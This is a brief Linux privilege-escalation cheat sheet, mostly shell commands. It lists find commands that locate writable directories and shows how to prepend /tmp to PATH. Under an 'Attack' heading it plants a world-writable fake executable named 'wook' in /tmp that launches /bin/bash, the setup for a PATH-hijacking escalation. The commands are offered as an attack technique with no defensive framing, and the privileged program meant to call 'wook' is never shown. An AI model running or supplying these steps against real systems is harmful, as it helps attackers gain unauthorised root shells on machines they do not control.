설명

How-to

A simple search to look for writable folders using find

find / -writable 2>/dev/null
find / -type d -writable 2>/dev/null | cut -d "/" -f 2 | sort -u
find / -type d -writable 2>/dev/null | cut -d "/" -f 2,3 | sort -u

adding /tmp in $PATH env variable

echo $PATH
export PATH=/tmp:$PATH

Attack

cd /tmp
echo "/bin/bash" > wook
chmod 777 wook